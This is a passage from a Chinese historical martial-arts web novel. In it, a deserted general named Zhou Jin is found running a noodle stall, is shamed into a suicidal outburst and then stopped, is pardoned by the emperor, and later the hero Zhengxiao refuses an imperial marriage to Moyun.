而正啸看向此时毫无察觉的正低头专注地下面的周劲，他两鬓也有些斑白，背影却依旧精神矍铄，身姿还是这般刚毅挺拔。
“周师傅！”正啸轻声喊道，顿时心中思绪万千，父帅寻了他好多年，威行更是吃惊的望去。
周劲听见正啸低声的呼喊，愣住了片刻，手中的动作瞬间停下，他微微侧头，眸中闪过一丝迟疑，那张布满岁月痕迹的脸上，原本的镇定瞬间被震惊替代。
“正啸？威儿？”周劲的声音略微都有些颤抖，面摊的热气似乎都在这一瞬间凝固，这一晃已经是十几年的光阴。
正啸也愣在了原地，眼中闪烁着不可置信的光芒。而威行瞬间喜极而泣，毫不顾忌地冲上前去，紧紧拉住了周劲衣襟一把跪了下来。
“舅！”威行声音颤抖，眼泪顷刻夺眶而出，周劲是他在世上唯一的血脉亲人了，他从未想过此刻能重逢心中一直挂念的舅舅，满腔的情绪交织在一起，情绪激动得一时无法自已。
“周师傅，元帅和大将军都找了你好多年！”执礼也深吸一口气望向周劲说道。
周劲见到正啸和威行，被这突如其来的情感所感染，掩盖不住激动，眼中闪烁着久违的温和。然而顷刻间，往日又如潮水般涌上心头，那份多年也没有消散的忿然，也再次充斥了脑海。
他也才意识到，原来这么长久的岁月并未抚平他的伤痕，面对这突如其来的重逢，他的内心情绪在激动与怨愤之间疯狂交织。
“周师傅！”
周劲望向正啸顷刻咬紧了牙关，倔强地丢下手中的汤勺，转身便要离去，似乎不愿意再面对和触碰当年那些未解的怨恨，尽管心中翻涌着无数情感，但他仍咬牙选择逃避。
“周师傅！”正啸心中一紧，他也知道周师傅定然还是无法释怀当年的旧事，他却又不知该如何开口宽慰他，毕竟当日自己也是选择父帅的立场。
“舅！”威行死活拉着周劲不让他走，可是周劲咬牙狠狠一脚就将他踹开。
“周师傅，现在元帅就在城中，您就不去见他一面吗？”执礼亦上前说道。
周劲的嘴唇微微抖动，显然内心被激动与愤懑充斥，他最终咬紧牙关，倔强而毅然地转身，再不愿意再被往事牵绊。
茉云顿时眼中闪过一丝狠戾，猛然拔剑剑光一闪，寒光飞掣，剑气顷刻掀翻了整个面摊。木制的桌椅瞬间倾倒，面摊的食物纷纷洒落，客人惊慌失措的逃离，犹如惊鸟散去。
她举剑直指周劲，剑尖在夕阳下闪烁着冷冽的光芒，宛如一道威严的雷霆。
茉云声音更是铿锵有力：“周劲，你可知，你的老哥哥们死的死，走的走，残的残，大战在即，军中如今只剩下元帅孤木强撑。你却只记得当年自己那点委屈！是个男人，你就拔剑，要么今日你以死谢罪，要么今日老子送你去见你那些老哥哥！”
一刹那，周遭好似瞬间凝固，众人的表情错愕又有几分呆滞，季岚都吃惊的望向若辰，若辰则轻轻的握着她的手。
周劲转身目光与她交错，震惊的问道：“你说什么？”
“马老将军伤重回京颐养，陈老将军为救元帅断腿离军，黄老将军在牢中自尽以明志……”
周劲顿时愣在原地望向茉云，正啸则深深吸了口气！
“那老顾呢……”周劲望向正啸不敢置信的说道。
“你问得正好，他被峑戎捉了妻和子相要挟，背判了元帅，最后一刻为救元帅死在关外！”
“不可能！”周劲绝不能相信他所听到的这些……
茉云顷刻间眼神闪过一丝狠戾冷笑着说道“收起你这幅好似看重军中情意的假面孔，所有老将军都战至能战到最后一刻，你呢？”
周劲神情已然僵住，眼眶瞬间涨的通红，咬紧牙关却说不出话，依旧不敢置信……
“黄老将军以死明志之时，用自己的血在墙上写下了忠义二字为遗言，你在何处？顾老将军被胁迫陷入求生不能求死不得的境地，最终背叛一生信仰含恨而去，你在何处？可叹元帅妻子殉国受尽蹉跎，老兄弟们也都离他而去，却带着独子苦苦撑在边关，你又在何处？”
老哥哥们都走了……只剩下元帅在苦苦支撑……，这几句短暂的话，仿佛忽然让他承受了整个世间的沉重，可又无法逃避这令人窒息的瞬间。
茉云顿时厉声道：“姓周的，拔剑吧！逃兵视同叛徒！若不是你这个逃兵，他们何至于此！就看今日是我收拾了你，还是你自行谢罪！”
此声如同寒风刺骨，直逼周劲的心底，好似周遭都因她的威势而停滞。她手中的剑微微颤动，剑尖指向的不只是周劲一个人，而是那一段周劲心中执着的过往和怨愤。
正啸深吸一口气内心也涌动着复杂的情绪，可他抬手迅速拉过茉云手臂，眼神在缓和她的气势，好似在说让她不必如此咄咄逼人。
两人四目相触，茉云望向正啸顷刻狠戾变成了无语，眼神示意他不要坏自己的事，正啸无奈的看向她，好像在说当年发生的事不是她想象的那般简单，让她冷静点。
“那我管那么多？”茉云没好气的收回了眼神，又瞪回了周劲。
若辰抬眉看了执礼一眼，执礼才晃过神来无语的微微嘴角上扬了，他余光看向了正啸，好像当年自中州开始，少主和茉云就可以用眼神交流，正啸一眼就能看出茉云又要开始作妖了，而茉云也好似能一眼看穿正啸心中所愿。
而此刻，周劲的心中却是一阵窒息，他面色苍白目光游离，却又不敢正视茉云的剑。
他只能感觉到一股如五雷轰顶的压力，让他连呼吸的力气都没有了，哥哥们也都走了，元帅只剩下一个人了，仿佛这一刻已成为他的绝地……
是啊，逃兵视为叛徒……忽然周劲猛然拔出一旁威行的剑，剑光在黄昏的余晖中闪出了寒光，他的声音震耳欲聋，回荡在空中：“我该以死谢罪！”
“舅！”
“您别冲动！”正啸亦瞬间意识到周劲无法自控的痛苦，马上吼道。
茉云却指着周劲大喊一声：“你别脏了这块地，要死去玉家别苑，在元帅面前磕头认罪，以死谢罪！”
“好！”周劲决绝的吼道，神情中充满了心如死灰的情绪，因为他既无法承担这份难于置信的痛苦，又为过往的挣扎无尽悔恨，他瞬间飞身而去。
“周师傅！”正啸顷刻间转身追去，威行亦马上跟着追了去。
所有人的目光都聚焦在这突如其来的变故上，看见他们的身影顷刻就消失在视线，还没有缓过神来。
此刻却传来了茉云一声叹息，她蹲在地上一脸痛惜的看着：“这下完了，这一剑当真没劈好，将他汤锅给劈地下了，他这面最好吃的就是这汤，晚上没面吃了！”
瑞林才晃过神来望向茉云：“大姐！”
执礼亦吸了口气无奈说道：“不如先回别苑看看！”
“只能如此了！”茉云起身伤心而无奈的说道。
众人都马上往别苑走去，夕阳渐渐沉落，天边的云彩染上了深红，整个世界似乎都被这色彩包裹，众人还未晃过神，茉云却风轻云淡的望向云霞。
执礼在回别苑的路上才将那段过往的告知茉云：“周师傅不是逃兵，是不忿于当日的他姐夫，也就是威行的父亲威将军，被奸臣故意贻误军情害死，她姐愤然殉情，可是最后只是押解了那刺史草草结案，当日的朝局却不能重处我们都知道的那个罪魁祸首！所以……”
茉云冷冷的望了执礼一眼，心中却想起了当年正啸哪怕是当日被贬中州之时都会带着威行在身边，宋大人也说，只因威行是故人之后。
瑞林则望向茉云说：“我真是服了你了，不分青红皂白，万一周叔真的以死谢罪该如何？”
“你意思你英明神武的二师兄，卢大将军一生武艺，专门只用来打我的？连个周劲都拦不住？”茉云没好气的望向瑞林说道。
季岚抬目望向若辰，若辰则温润的笑了宽慰道：“你习惯就好了！”
此时正好经过玉家三爷的小院，茉云却一溜烟的跑过去大声的拍门！
顷刻玉三爷玉青川打开了门，望向茉云温和的笑了说道：“一听便知是你！”
“茉云！”心兰看向茉云亦娇媚的笑了，“快进来！”
“不了，下次，玉三爷，去看戏不？”茉云顷刻间一脸的坏笑道。
“何戏？”
“周劲寻死！”
“走！”玉三爷顷刻笑了说道，便望向心兰，“夫人，我去看个热闹就回！”
“他为何要寻死？”心兰吃惊的说道。
“甭管为何，此人终日骂骂咧咧就是要弄死谁，他还挖苦你夫君半辈子，说玉师傅不爷们，今日咱不也看看这爷们不想活的样子！”
若辰温润而笑向玉三爷行了个礼：“玉三叔！”
“诶，切莫多礼，快些走，以免错过！”玉三爷亦是饶有兴致的说道。
若辰亦无语的笑了，看向一脸震惊的季岚说道：“我说了，习惯就好！”
茉云一行人刚走进别苑时，才看见周劲冲进别苑跪在元帅面前，元帅一脸的欣喜迎了出来，而周劲三次重重地磕头，额头砸在地上，发出了沉重响声，元帅都怔了半刻。
突然磕完，周劲猛然站起手中握起剑，目光坚定而绝决的说：“元帅，今日周劲，以死谢罪！”
正啸此时才赶回了别苑，而此时身后的威行正护着一路哭泣追来的亚亚，茉云抬头看着，心想周劲这家伙当真是要寻死了……还回家交代了个后事？
正啸和威行看见周劲拔剑便双双冲上前去，不顾一切地拦住他。
元帅脸色一沉语气急切吼道：“周劲，你这是要干什么？”
“舅舅！”威行声音颤抖而焦虑的喊道，“您冷静下来！”
然而，周劲似乎全然不听，眼中只有痛苦和绝望，心中的愧疚难以释怀，要不顾一切的挣脱，手中的剑微微颤抖，好似唯有一死才能了结这一切。
此时周劲的妻子，亚亚也冲上来一把拉着周劲，她是哑语说不出话，只能哭着一个劲的摇头。
“刀剑无眼，将你舅妈拉开！”正啸像威行吼道。
威行顿时晃过神来不顾一切的拉开了亚亚，周劲挣脱开束缚，眼神中依旧
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闪烁着决绝，他又猛然将剑一举要以死谢罪。
正啸见状只能拔剑阻挡，神情凝重的喊道：“周师傅，你冷静点！”
“别拦我，让我死，死了去跟哥哥们谢罪！”周劲怒吼着的剑光一闪，向正啸劈去，正啸抬剑抵挡，二人剑光交错，发出刺耳的金属碰撞声。
周围的人都愣住了，连元帅也惊愕地看着这一幕，心中焦急的吼道：“周劲，你要做什么？”
然而周劲心如铁石，随着一声怒吼，手腕一翻，剑势陡然加猛，逼向正啸。可正啸剑招如虹，周围似乎都随着剑气凌冽而变得紧张。
唯有茉云立刻挑了最好的位置坐在旁边，还从兜里掏出了零嘴饶有兴致的观赏着高手过招。
正啸面色微沉，握紧手中的剑，稳稳地抵住周劲攻击，低吼道：“周师傅，你冷静点，你心中苦痛可与父帅说！”
可周劲已是崩溃状，剑法决绝却完全失了分寸，正啸知道他已有必死的决心，但他绝不能让事情发展到不可收拾的地步。他忽然剑法陡然凌冽，剑势骤然加快，直逼周劲的剑。
周劲也抬剑抵抗，可是正啸剑气已入鼎盛，聚集全身内力于剑尖，一剑劈下如雷霆之势，一剑就削断周劲之剑，断剑应声而断掉落在地，发出清脆的声响。
周劲怔在原地手中再没有了支撑，整个人失去力量，重重地跪倒在地，目光呆滞地盯着那断裂的剑身，眼中只剩下无力的绝望。
“你这是干什么！”元帅怒不可斥的吼道。
“我……我……”周劲瘫倒在地低声喃喃，神情恍惚仿佛自己已经失去了生存的意义，往日的荣光与恩义，都以化作无法弥补的遗憾。
正啸松了口气剑尖指地，眼神如铁，凛然地伫立在一旁，酣战让其浑身散发出一种令人生畏的气势，显得更加霸气非凡。
茉云凝视着他这一瞬间的气势如虹和铁血果敢，嘴角不禁微微上扬，心中那股莫名的感觉悄然升起，但她瞬间意识到……马上移开了眼神，恢复了冷静与从容。
正啸深吸一口气望向周劲，眼中流露出复杂的情感：“周师傅，活下去才是对他们最大的敬意。”
“周劲啊，老夫现在卢家军七将只剩下你我了！”元帅咬着牙握着周劲的肩膀说道。
周劲顿时感觉到温暖从肩膀有力的传来，再也隐忍不住，两行男儿泪滚烫的留下，可他的心情如同那断剑，这些年固执的决断确是与哥哥们的永别。
“当年你姐夫被那奸人故意贻误军情，你姐姐忿然殉死，他们都走得冤，可是朝局艰难，怪我……没有给他们公道！”元帅想起过往的事，顿时也隐忍不住了，老泪纵横，可是众人都知道，当年若坚持的后果可能是触怒圣颜，边关驻军都将分崩离析。
“周劲从未怪过元帅，就是无法面对，当年亲眼看见大姐殉国，我无能为力，二姐走得不明不白，周劲也恨啊，可没有办法，姐夫被那孽畜害死，亲姐让我出去给她端碗稀饭，她就随姐夫去了……可那些害死她们的畜生，都……”周劲顿时掩面痛哭咆哮道，将这些年埋藏在心里最深的痛楚都喊了出来。
元帅咬着牙闭上了眼，可是眼泪还是止不住的往下流，在场之人无不动容。
周劲自小也是京城长大，他所称的大姐二姐都是他的义姐，大姐便是元帅夫人，当年就是周劲接了她的命令带走正啸，他亲眼见到她坠崖，却只能选择咬牙含泪带走正啸。
他称为二姐的便是正啸姑姑，当年夺嫡之争中王妃陨于王府不明不白，可他们连问一句的资格都没有，后来他的姐夫被奸臣害死，他姐姐素来刚烈也……
“就那么一眨眼的功夫，姐就殉情了……可那害死他们的畜生却逍遥法外，镇远哥，我好恨啊！”周劲哭着咆哮道，“姐姐们都走了，可是我受过他们大恩，却什么都不能干！”
他的咆哮如同尖锐的箭矢，直刺人的心底，他的情绪终在此刻彻底崩溃，仰天咆哮，声音嘹亮而凄厉，回荡在别苑的上空：“现在哥哥们也走了，我为何还在人世苟活？”
众人都深吸一口气望向他，他们幼时都知道周师傅何其英伟，年轻之时满怀热血，勇冠三军，却被无情的现实撕扯得粉碎，他为了朝廷，为了理想，为了卢家军，付出了青春和全部，却被误解，被打压，血仇无处诉，最终绝望离开！
“诶，你不如让他去吧！”茉云磕着瓜子望向正啸说道。
正啸吸了口气望向茉云，紧皱的双眉瞬间展开，好似这一刻茉云如炬的眼神，与自己内心的坚定在呼应。
茉云与正啸四目相触，透着毅然决然的坚决与刚烈，声音冷然的说：“他好像和咱不是一类人，道不同不相为谋！”
这一句话如同一声惊雷，又震动了周遭的氛围。
“姐姐们走了，还有哥哥们，哥哥们走了，还有姐姐哥哥们的儿子，侄子，接着去干要干的事，南境不平，不死不休，不绝不休！”她的目光穿越了众人落在周劲身上。
周劲亦愣了半刻，张开了双眼怔怔的望向茉云。
“委屈怎么了？吞肚子里！睁眼活，闭眼过，要干的事必须干，难道委屈比使命重要？”
茉云的声音看似淡然，却在撞击众人的心魄，她语气中的无畏与决然，如闪烁的炙火光芒万丈，如轰鸣的战鼓激荡人心，令人感受到那股源自内心深处的信念的力量。
正啸忽然觉得一股激流冲击着他的心灵，好似体内热血因被共鸣而奔涌。
在这瞬间，若辰轻轻的笑了，他意识到正啸从一开始就对茉云明目张胆的偏袒和不顾一切的护持，只因他和茉云本是同一种人，而经历的这些岁月，让他们两连灵魂都早已在不屈与信念中交织在一起。
185.赐婚
翌日，南华城沐浴在一片灿烂的阳光中，连日的暖阳仿佛要将这南华城往日所有的阴霾与伤感一并驱散。清晨的空气透着一丝清新，城中的人早已开始各自忙碌，无人知晓昨夜恩义情仇的激流……
昨夜夜深人静之时，别苑深处气氛却如此沉重。元帅和周劲在灯下促膝长谈，讲述这些年军中的变迁，时不时伴随着一声深深的叹息。那些边关的辛酸、兄弟离去的痛楚，任言辞如何淡然都是无法掩盖的惋惜与沉痛。
周劲站在一旁，紧紧攥着拳头指节泛白，整个人静默无声。随着元帅一句句讲述，他往日的骄傲、执着与刚强在这一刻只能化为无声的男儿泪。每一个名字、每一段过往，都像锋利的刀刃刺入他的心中，令他泣不成声，心如刀绞却无法言说。
天色微明，薄雾未散之时元帅的就带着周劲来行宫像圣上请罪。
皇上见到周劲都愣了片刻，往日的记忆一时间浮上心头。周劲当年年纪虽轻，却因英勇果敢又忠诚不二，受到王妃赏识，时常被王妃安排在当年还是王爷的皇上身侧，护他周全。记忆中的周劲，刚毅如山忠诚无比。如今，再见这位故人，圣上心中不免感慨。
周劲跪伏在地，再见到圣上，往事的重担与内心的愧疚尽数化为泪水，一声声哽咽中满是未尽的忠诚与伤痛，他含泪说道：“臣愧对王妃嘱托，愧对皇上，愧对旧日兄弟，周劲万死难赎！”
众人都吃惊的望向周劲，他居然敢在圣上面前直接提起昔日王妃，关太傅却温和的望向他，皇上不会怪罪他，而他亦没有冒犯，因为当日王妃走之前是曾嘱托了他……
皇上看着跪在地上痛哭的周劲，眼中也闪过一丝动容，他轻轻叹息了一声，现在自己身边的旧人已经不多了……最终圣上缓缓开口道：“周劲，你的忠义之心，朕明了，往事已逝，朕不再追究。”
当着众人的面，皇上赦免了他的罪过，还当场命人拟旨，让周劲官复原职。元帅在一旁也不禁松了口气，周劲伏地叩谢，这一刻他也终于解开了多年压在心头的重担……
殿中气氛温和，旧日的情谊在这一赦免中重燃，往昔的荣耀与忠诚仿佛重新回到了周劲身上，此刻的他略带沧桑的脸上再无青涩和莽撞，眼中只有坚定！
待他们告退之后，皇上静静地看向元帅和周劲告退的背影，目光中涌上一抹深沉的怀念，将他一下拉回到那段年轻的时光，往事如涟漪泛滥，她的面孔也突然浮现在眼前……
缓缓地，他心中渐渐浮起一股无法言说的惆怅，最终皇上收回目光，神色中透出一丝悲凉。他轻叹一声，往昔的时光早已褪去，而身边熟悉的旧人越来越少，一个个离散。
此时皇上缓缓起身，独自朝殿外走去，关太傅亦能感同身受，双眉微蹙望向圣上的背影，他那孤独的身影显得那么落寞而苍凉。
而元帅倍感欣慰的带着周劲回到了别苑，周劲官复原职，元帅的喜悦溢于言表，众人亦很开心。
只有周劲的神情却依旧沉重，步履间透出一份疲惫与感慨，岁月流转，自己回到这里，哥哥们都不在了，自己也早已是沧桑满怀。
正啸此刻望向周劲面露欣喜的朗声说道：“总教头，您回来得正好，我也正在忧心此事，以后军中的练兵之事就全交给您了！”
这熟悉的称呼让周劲心头一暖，仿佛回到了许多年前，那时正啸还是少年时，在他的指导下认真练箭……
正啸便是自己此次回来之后，觉得唯一值得欣慰的事——那个昔日他悉心教导的，元帅和大姐的儿子，如今已是伟岸如山，沉稳果敢，成为了能独当一面的大将军，可肩负起边关大军的重任。
周劲终于点点头，微微一笑，回应道：“是，属下一定竭尽全力。”
正啸温和笑了亦点点头，内心也因周劲的回归而为军中将士感到踏实。自己心中又一块大石可以缓缓放下了。威行站在正啸身边看见自己舅终于回来了，还官复原职，自然也是欣喜万分，一脸傻笑。
正当众人交谈之时，季岚带着茉云缓缓步入别苑。茉云依然步伐轻盈，神色自若，她一出现，众人的眼光不自觉的落到她的身上，然而她的目光却落在那身着将领官服的周劲身上。昔日那个操持面摊的下面师傅，如今竟恢复了将军的风采，浑身透着威严与沉稳。
周劲亦望向她，眼中恢复了威严，流露出一丝重归故地的坚毅。
茉云嘴角上扬挑起一抹微笑，似乎眼神再说，呀，还是个将军呢！
此时，季岚微笑着像元帅行礼，然后开口打破了片刻的静默，温和地说道：“季岚来别苑已久，大家诸事繁忙，今日季岚特地操持了一桌饭菜，不知卢伯伯和诸位将军可否赏脸！”
“好，看见没，这是若辰那孩子的媳妇，两人真是一对璧人！”
季岚温婉的笑了说道：“今日还特地请了茉云来别苑。”
“来得正好，你帮老夫将周劲找了回来，老夫要好好感谢你！”元帅脸上带着掩饰不住的喜悦。
茉云不禁轻笑出声，半是调侃地说道：“元帅，您别高兴得太早，周叔现在还不知能干多少活？”
周劲闻声瞪向茉云，虽知道她是玩笑话，可这丫头素来就嘴上这般恶毒。
元帅则大笑起来，豪爽地拍了拍周劲的肩膀，笑道：“我等老归老，但这份忠心和壮志不老！你看周劲回到老夫身边，我这心里就踏实了些！”
“我也是一时想着军中将士兄弟们都不易，这大战在即，威行将军负责练兵，哎……”茉云想着便乐了说道。
“我怎么了，我可是秉承我舅周总教头的威名，我们当日都是我舅教出来的！”威行笑了说道。
“对，龚威行将军的那也是威名远播的！”茉云满脸嬉笑的调侃道，“那日军中有人赌博，见到威行将军吓一跳，然后威行将军神情严肃的蹲下来一把逮住他们说道，赌多少，加我一个！还有，有人抱着一壶酒撞见了威行将军，正大惊失色求他千万别告诉大将军，威行将军大手一挥说，走，哥知道一地，大将军肯定逮不到。”
众人哄堂大笑，执礼亦微微笑了，抬眉望向茉云，她是真如若辰说的那般，她总是知道少主想什么，更为神奇的是，她总能办到！
威行也傻笑起来挠着头，笑容中带着几分憨傻，却也难掩那份心虚。
正啸和周劲瞬间同时转身瞪了过来，目光中带着严峻和愤怒。吓得威行背脊一凉，瞬间站直了身子，满脸慌张，低下头颤抖说道：“属……属下知错了，定会……严明军纪！”
“你居然如此荒唐！”周劲愤然怒斥道，顿时脖子上的青筋都要冒出来了。
“总教头，茉云最喜开玩笑！”执礼马上帮威行圆场道。
“威行最怕他舅了……”若辰望向茉云温润的笑了。
“我没开他玩笑，那个军中抱着酒壶撞到他的就是我！”茉云开心的指着自己说，威行顿时又忍不住了，只能伏低头忍着笑。
周劲抬脚对着威行就是一脚：“站好！一无是处！”
“是！”
“诶！”茉云顿时眼神都变了，抬起握剑的手指着周劲说道，“他是将军，你也是将军，有事说事，别动手！”
“我是他舅！”
“人跟着卢正啸刀山火海的十几年，轮到你个跑了十几年的回来说他一无是处，连元帅都不踢他，舅怎么了？”
周劲亦怔了半刻望向茉云，威行心中不知为何一丝窃喜，东山站在元帅身边轻轻笑了，但凡是正啸身边之人，她都会一并护着。
“虽然那也是因为这厮死乞白赖的不肯走，没啥大作用，还专拖后腿，但人胜在态度比你好啊！”茉云一脸正色的说道。
“诶！”威行没好气的瞪向茉云，众人瞬间忍俊不禁。
周劲此时却认出了茉云的那把剑，诧异的望向正啸说道：“元帅夫人的佩剑怎会在她手上？”
“我抢的啊！”茉云理直气壮的说道。
“你怎的不将人也抢去呢？”周劲顿时愤然吼道。
谁知话音刚落众人都看了过来，元帅眼中瞬间闪过一丝期待的笑意，亦望向了茉云。
“没打得赢啊！”茉云满脸嬉笑，坦荡的说道，“想下药来着，结果碰见了无良商家卖假药，药都没药倒！”
“扑哧”众人顿时哄堂大笑，正啸亦无语的望向茉云，可是余光看见周劲怀疑的眼光，他无语的马上收回了眼光。
谈笑间，茉云忽然闻到一阵淡淡的米糕香味，香甜的气息在空气中若有若无，她的目光瞬间不由自主地随着香气的方向望去。
“好香啊，是米糕吗？”茉云望向季岚开心的问道
“是啊，听若辰和何友说，你速来喜欢吃米糕！应是米糕刚蒸好了！”
“走，米糕要吃热的！”说罢，茉云视线紧紧追随着香气的方向，拉着季岚开心的走了。
周劲却若有所思的望向正啸忽然问道：“方茉云和你什么关系？”
正啸瞬间斩钉截铁的说道：“没有关系！”
“哼！”元帅没好气的瞪了正啸一眼，众人皆神色各异的望向了正啸，正啸则一脸镇定自若转身便走了！
午宴之时，季岚心细如尘特意邀请了玉家别苑的主人玉三爷，以及茉云的二哥还有周劲的妻子亚亚前来同席。
众人围坐在桌旁杯盏交错，觥筹间，气氛格外融洽。元帅举杯众人纷纷陪饮，他的满是沧桑的脸上难得洋溢着如此的喜悦，往日沉重终于在这一刻得以解脱，笑声中带着一种久违的轻松。
席间，元帅转头看向周劲，带着几分好奇地问道：“周劲，你是如何认识茉云这丫头？”
周劲眼神中浮现出当日的情景，他放下酒杯，缓缓开口：“当年我离开军中，辗转到了南华，原本是打算投靠玉老三的，但又不想终日打扰玉家，便在城郊开了个面馆，想着安稳度日。”
众人皆知玉三爷年纪轻轻，文才美誉就传遍南境，还与他们相识，可是他一生不愿入朝为官。玉三爷也轻轻笑了，他也还记得当日周劲来的时候，失魂落魄的样子……
周劲眼中闪过一丝回忆，说道：“那一日，我在面馆忙活，忽见一小女孩朝我走来，满身是尘土，脸上有伤还粘着几片残菜，怀里抱着几颗裂了但未碎的鸡蛋。”
穆棱顷刻间愣了一下望向周劲，那是幼时茉云不被容于南华时，那些小孩子都朝她扔东西。
周劲顿了顿，眼神亦带有几分感叹，说道：“她跟我说，叔叔，刚才他们拿这些东西砸我，我觉得别浪费了，你能炒给我吃吗？我饿了……”
众人不禁的看向周劲，茉云从小便时这种人！
“对，当日我还觉得这叔叔特
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别靠谱，结果后来在学堂，玉家学堂自己管不住我，叫这叔叔去治我，人上来二话不说，拿起棍子将我一顿揍！”茉云顿时没好气的说，“也是，卢正啸也是你教出来的啊，果然上梁不正下梁歪！”
“扑哧”众人顿时哄堂大笑，元帅笑得最开心。
玉三爷则笑了说道：“昔日这丫头可是学院里最难管之人，城里一直对她母亲坚持外嫁其父颇有微词，他舅和我总劝她，你闭耳不听，不提便是，她却坚持说，我何以闭上自己耳，定要撕烂他人嘴！”
说到此茉云亦回忆了当日，每天自己都是满腔的愤怒却无处发泄，自己为百姓父母殉职而亡，却被人如此说，自己是不懂，凭何要忍？
“我家二哥，忍无可忍请了周劲来收拾她，谁知道周劲来了打了她一顿，然后又教了她几招，不到三日，她将满学堂的人揍了，包括我二哥！”玉三爷笑着说道。
茉云顿时一拍桌子兴奋的说道：“自此我便知，我方茉云乃天纵奇才，就是吃这碗饭的，毅然决然弃文从武，从此一片坦途！”
“扑哧”众人又哄堂大笑，元帅笑得差点将酒都喷了出来。
“哼，悔不当初！”周劲没好气的评价道。
“诶，不可如此说，都是机缘！”元帅笑了和周劲碰杯。
“元帅，你不知，她就是个闯祸的祖宗！”周劲马上举杯说道。
“对，他们会不知道！”茉云自己笑了喝着酒调侃道。
“自从她学了几招后，惹了祸就往周劲那里跑，周劲嫌她呱噪，她有日就牵着亚亚去找到周劲，周劲问她干嘛？她说周叔，我在南华给你物色了一圈，她不呱噪，也不会嫌你嗓门大！你一把年纪连个媳妇都娶不到，还嫌这儿嫌那，叫起来疯狗都没您能嚷嚷，你怎还嫌别人吵！”玉三爷笑着说道。
“扑哧”众人又哄堂大笑，威行则是笑得最欢的，说起来周劲骂人之时，真的像疯狗似的狂吠。
“这丫头嘴奇毒，人刁钻，招惹上一世不得安宁！”周劲说完没好气的扫了正啸一眼，正啸压根不看他。
“你放心，南华的仇报了，我立马就撤！”茉云亦看向周劲没好气的说道。
“你去哪儿？”元帅忽然放下酒杯吃惊的说道。
“案子办完了，当然继续游历啊！”
元帅听闻，不由得双眉微蹙，略带急切的问道：“为何不留在军中效力？以你的才干，必能在军中大有作为。”
话音刚落，坐在一旁的正啸默然望向茉云，眼神中浮现出复杂的情感。深邃的目光中隐隐透出一丝不舍，却又带着一种释然的安慰。
对于他来说，这或许是最好的安排——她能够脱离战场的硝烟，又能远离即将到来的权势之争。
若茉云继续留在朝中，那么自己在外征战的每一日，都很难不分心，而自己此战必须一往无前！
他心中还有一个更深沉的理由——自己这一生已经看过了太多的悲剧，他有必胜的决心，可他必然视死如归，不胜不还，他绝不可能让方茉云……重蹈她奶奶，三姨，甚至是威行亲娘的覆辙。
此时他眼神中已然都是坚定，因他只希望茉云能过上平和舒心的生活，去追寻自己真正的自由天地。
茉云余光扫过正啸的眼神，她也读出，他眼中没有半分留下自己的想法……
就在此时忽然，屋外传来一声嘹亮的呼喊：“圣上驾到！”
声音清晰而洪亮，瞬间划破了屋内的宁静。众人皆露出惊愕之色，纷纷放下手中的杯盏。
元帅率先起身，随即整了整衣袍，带头向门口走去，正啸、若辰等人也迅速起身跟在身后，一行人恭敬上前准备迎驾。
茉云微微一怔，随即也神色肃然地站起身来，站在最后与众官员一同地跪地迎驾。
门外，晌午金色的阳光洒在圣上驾临的仪仗队上，庄严的气息伴随着脚步声缓缓逼近。屋内的众人都屏息凝神，跪在驾前，心中各自揣测着圣上此行的用意，不敢有丝毫怠慢。
皇上环视众人抬手示意众人起身，脸上带着和煦的微笑，缓缓说道：“此行南境多日，朕也该启驾回京了，临行前，朕想起了一桩事。”
他目光落在正啸身上，带着几分慈爱，语气中夹杂着一丝感慨。
“朕出行之时，去跟太后请安，见到了卢老太君。她提到她年事已高，支撑卢家渐感力不从心。而啸儿年纪也不小了，是时候为元帅一脉延续香火。”
听到此处，正啸眼中透出了意外与震惊。此时，皇上又将视线转向茉云，眼神温和且带着一丝赏识：“老太君曾向朕禀明，她心中已有合意之人，那人便是你，方茉云。”
屋内顿时一片寂静，众人神情各异抬头悄悄看向茉云，神情各异，有震惊，有喜悦，有期许也有激动。
关太傅亦是温和的望向茉云，皇上素来有识人之明，而如方茉云这般能让皇上在如此短的时间，对她从冷漠变为赏识的，也是极为难得。只因她小小年纪便有这——在权谋与情感之间游刃有余的智慧和能耐。
皇上微微一笑，语气温和而笃定：“你也属才德兼备，忠勇无双，和正啸也算相配，朕心甚慰，今日便在此……”
就在众人都等着圣上此言一出，拱手拜谢齐声称贺之时，正啸忽然双腿跪地，打断了皇上的话：“皇上！”
186.孤独
在皇上话音未落之时，正啸如此决绝的打断了皇上的话，屋内顿时一片静寂。
正啸深吸一口气，神情间透出一丝决然与冷静，说道：“皇上，臣实不敢接受赐婚！”
众人纷纷吃惊地望向正啸，谁也未料到他会在皇上面前公然阻止这场赐婚。茉云微微怔住，眼中看见了他拒绝得如此坚决。
正啸心中却知，若此时接受赐婚，茉云必然入京城卢家，卷入无休止的朝堂争斗。
他心中也明了自己奶奶卢老太君的用意，这个时候让茉云进家门，无非是想将茉云化作一把锋利无比的剑，不顾一切的来护卫自己和卢家在京城中的地位，以保证大战前线的卢家军无后顾之忧。
而皇上此时赐婚，也定是知晓自己在朝堂之上失去柳尚书支撑，才有意让茉云分担起这份责任，过不久圣上还兴许会赐她诰命之衔，让她戴上卢家夫人诰命之冠，去和京城跟那些反对的卢家的力量殊死抗衡。
大战在即，京城之中，此时定是权谋诡计层出不穷，等待她的将是重重叵测和无尽试探，对手一定无所不用其极，而依照茉云从不退缩必定血战到底的个性，顷刻就会被老太君和圣上所用，自己决不可能让她去！
“皇上，臣与方茉云之间，并无私意，只有上下属的职责与师兄妹的交情。臣对她，未有半分男女之情。”
正啸此言一出，如此铿锵有力，似乎每一个字都斩钉截铁。众人听闻，无望向他，茉云的目光也微微一颤……
正啸却一直伏低头，故意避开任何人的眼神，用尽一切将自己的内心深深掩藏在平静的神色之下。
他继续说道：“皇上，方茉云素来好胜，锋芒毕露，而卢家之家训，素来重谨守礼，她若入卢家，实难相安，恐家宅不宁！”
听到此，气氛瞬间凝重。元帅站在一旁，眉头瞬间皱起眼中忿然的瞪向正啸，众人皆知元帅一直中意茉云作自己儿媳，认为她的品德和才能皆为上选，而此时正啸的话居然如此无情，让他顿时火冒三丈。
而正啸却丝毫没有顾及，目光坚定地继续说：“而且她出身微末，虽不乏英勇之志，但持家理事绝不精通，卢家为朝中重臣，族中事务繁多，卢家夫人需端庄大气，内外皆修、方能主持家务。而她行事粗鲁，恐不能融入京城女眷之生活，亦难以支撑起卢家大局。”
若辰已然掩盖不住脸上之惊愕，他完全未曾想到正啸会如此说茉云，他这是何用意？执礼也锁紧了双眉望向正啸，少主这是怎么了？
而圣上眼中闪烁着思虑，他眼神停留在茉云的身上，她却依旧是一脸的风轻云淡波澜不惊。
